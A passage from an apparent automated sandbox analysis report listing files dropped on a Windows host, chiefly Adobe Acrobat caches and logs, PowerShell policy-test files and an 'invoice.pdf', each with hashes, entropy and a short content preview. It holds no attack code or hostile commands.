DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.270417265880966
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0sNGnZiQ0Y32oAvJfshHHrPeUkwRe9:YvXKX06GcsNGUUUkee9
MD5:	D25561454FBB6C8E6287011E2B0D8FB7
SHA1:	9D20FB026633A8D35A4BD4AD727B5CA01950B2C8
SHA-256:	EBE59C220BE73F157623EDCAF0AD74AD84933F8A77F15BBF2C99BB9A2125D086
SHA-512:	EA836D3D4055EB55161AE61922292CD07A20CA8D08E27333FCBADBA53A74B485A34462E7DDBDA205C723A183D5BC393858A248FF4E59EF90CCFF421752C50AA0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d699ec27-d349-46c2-a757-5be784193f7c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758286211,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.278061850556594
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0sNGnZiQ0Y32oAvJTqgFCrPeUkwRe9:YvXKX06GcsNGTq16Ukee9
MD5:	2EBD873BBA68324B078DD2B7D68E3A2C
SHA1:	D387503208EE742AB98FBAE819B686F55033603E
SHA-256:	94BA7EB8E18795A2D9480D01AD5E43669C4D0288A39ED418F5505DADCC1B76DF
SHA-512:	5E18A7523F892424E77F32A85EBC66E8C6F659F4058BC01C84200B48FB866CBF1EFC5474C34A374970FE8A34ECE23FA05ED8BD92DEEBDC2905FA4005919971C7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d699ec27-d349-46c2-a757-5be784193f7c","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758286211,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139245185089346
Encrypted:	false
SSDEEP:	48:Y1v8SJEzL+glfEPc7M+3wKdPeJXcVyp4+ECj93bN:CUAEn+OfEPefTUEyp44RrN
MD5:	32233703F6536E96EC81F172AA34C25D
SHA1:	D4597886ACFB025EBEBB1970B2235A3B396951C9
SHA-256:	3821E5466168435E7D9D11C144D14068D49C956C6F3CC85CEB08DD023E8ACEB5
SHA-512:	5EF18AAF980BD0ED7FF397C364FE7CE7C651429F6E5FAF8DC7A6F9B3379B991E3CA0A298E308F5D9EFBBDF665A3864ED05EDF16B36761B9B5574E2DD072741C2
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"cd617878d9dd084cca7bc39d4f1bca23","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736582320000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"5126f2741eccf52787eb12ff65ec166f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736582320000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"f38e709b4c2cc3b21ec6b50602811108","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736582320000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"503e292901e729693f080203f9a3fbd2","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736582320000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f573ff38d526451be17545e98a9a8d32","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736582320000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"17dfb2605eef69cfbc591cefc96d2591","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1455000735152063
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urswA9LRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUu/:TFl2GL7mswAVXc+XcGNFlRYIX2v3kPAb
MD5:	1372DDE02D576A553E504AE6765DC7B2
SHA1:	15D8EEF8B41C99D8FF1FB496EA0613314D5F0078
SHA-256:	574495FE369579C8E37A5B33A1371C6D10DB16277C6E787F22C6ED647CB1D3CF
SHA-512:	FDA8D2C60E4A3DDF248B95FE7184761A428467DB955FFDF44A04C17395073C208D0C2E043D0C1C85E7CC03641B145D070A86A506887F435823DC484B38CFB30C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5500475394255977
Encrypted:	false
SSDEEP:	24:7+t8A9LUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxqWqLxx/y:7M8A6Xc+XcGNFlRYIX2vIqVl2GL7msQ
MD5:	6F1B862E88D2623065B01653FF221D09
SHA1:	884B4CE11B5E31D869EBB2F1808E5A4B19EA10F9
SHA-256:	5590F934B4511D12CAC39EB01F4C219494F5AC7A426C7CE1A90ACB5CE2366361
SHA-512:	DD88832074C6243438CDC392C82AB7D91658955B1B1E4E8747F9DE8BC27B792E14873D6BAA4A0A45D205D72F4383BB6DCFCDCD1B7B385FEBB58E55F2CFD4AC7F
Malicious:	false
Preview:	.... .c.......C8..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgcZ8Oz8bavj+zxym/0f7UqMT2b8Yyu:6a6TZ44ADEcZDzWgj+lyeCgK
MD5:	53B4D8C63BBD0CF72C18EB16BA7EDC01
SHA1:	3D8D0ABA649DD5D39DFED7A2F26B18488DBF4FEB
SHA-256:	0A53C662BB83E33426288248A768540706E053FDABF640EA179D5CD86EC078D1
SHA-512:	A1142CEDB6A8A464BB4D5E05E6417F77537783A4F7F8B1613DA258E261BE55220DC369BDA5E0BFACC8A43551CC624A24839A0B7D777AA2018321D18D096F039C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI75a6b.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClAlMnf9:Qw946cPbiOxDlbYnuRKdNMl
MD5:	8D78BF722E66EF064788CFA198FD584A
SHA1:	9C25920729C2D2924E89C41F1EA6EE9F69A89613
SHA-256:	F28C1ACE80FE82CAD1E36187060EAD0F25550BD755715322782BD7B6589DFF4E
SHA-512:	724512046448392E003385EA6639867CCF26EF32C85D030AC04C1C6AD70C096AB5CC42A5C271E2DB9D9B0F1A101DFA9B1E3C14F04BFD1898DBED549C287665E3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.5.8.:.3.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_505ghaax.ic0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b31ajx5a.qto.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-58-33-248.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.369093599036336
Encrypted:	false
SSDEEP:	384:X8bn8YL8Y28YD8YP8Y68Y6a8Zu8ZJ8ZB8Z08ZW8ZP8dU8d+8Bs8BO8gH8g/8ns8y:JM4eG2+
MD5:	3447DD4989DC17D687053B3A9C9EE9E6
SHA1:	FB8BF04F6C541C2C3283206C2E01C65C5021AE9B
SHA-256:	609B4B0A37FA5E827F7EF14F3A8ABBEBBABDD2B8FED8F892324A2A1D23851C85
SHA-512:	C1D9AF4214FA1A3D136FF314B8D7DDF59349266F3FAE259FF0AA6AB99BC84878204815EB4277915F5915621A94CF4D270336DBA05D4D0A75551919391C1A528A
Malicious:	false
Preview:	SessionID=5b7527f2-dd63-4661-8a47-1198c45698e7.1736582313273 Timestamp=2025-01-11T02:58:33:273-0500 ThreadID=1864 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=5b7527f2-dd63-4661-8a47-1198c45698e7.1736582313273 Timestamp=2025-01-11T02:58:33:274-0500 ThreadID=1864 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=5b7527f2-dd63-4661-8a47-1198c45698e7.1736582313273 Timestamp=2025-01-11T02:58:33:274-0500 ThreadID=1864 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=5b7527f2-dd63-4661-8a47-1198c45698e7.1736582313273 Timestamp=2025-01-11T02:58:33:274-0500 ThreadID=1864 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=5b7527f2-dd63-4661-8a47-1198c45698e7.1736582313273 Timestamp=2025-01-11T02:58:33:274-0500 ThreadID=1864 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398908960485339
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbIcbIILTcbB:V3fOCIdJDeNLA
MD5:	2CCEE3AF5449F35D7CE8137DA8338E52
SHA1:	C0CDDC486B98D09ED5A284B37BBE296A7B7D1556
SHA-256:	D80E160AD728191AED2913D678C75A1BF363DEDB51A4EF6C5A74DE761C4237E1
SHA-512:	B87D06ED8699CF62E485DAA5D5BCDCB2A05C9617C9A720DF7DD7EE28E465B058C828598738C54AABC8106CCEE06834B3DF62D323A8A3F1D92B2481DEF9231B1A
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0713212e-3e26-4de9-b07e-d112d6c268f8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\0cb723a6-6f00-4798-9009-75da122a700a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VRaWL07oMYIGNPHGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tRaWLxMZGBGZn3mlind9i4ufFXpAXkru
MD5:	88DBC4FAE46D0D16E3CF736C68612A35
SHA1:	17789925B3BBF8336D28BCFD698E6C0520A8A6C7
SHA-256:	0CAE3C61EB418C13ABB16D8DB85C7B7199AF31768750F5EA05FFD3868DAAA030
SHA-512:	67C286755521835FB72773EDCE1514FD65DB28A4E1856B7B53CE2383EA50C9125FF507484964803BA9B0BE83D7E86C8DE8E17D837AB42ECA713E607C17875D81
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7261ebae-6266-46f2-b726-b24bad435180.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\9f8b4801-ebb4-47bd-aa94-1f73ab5b40df.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
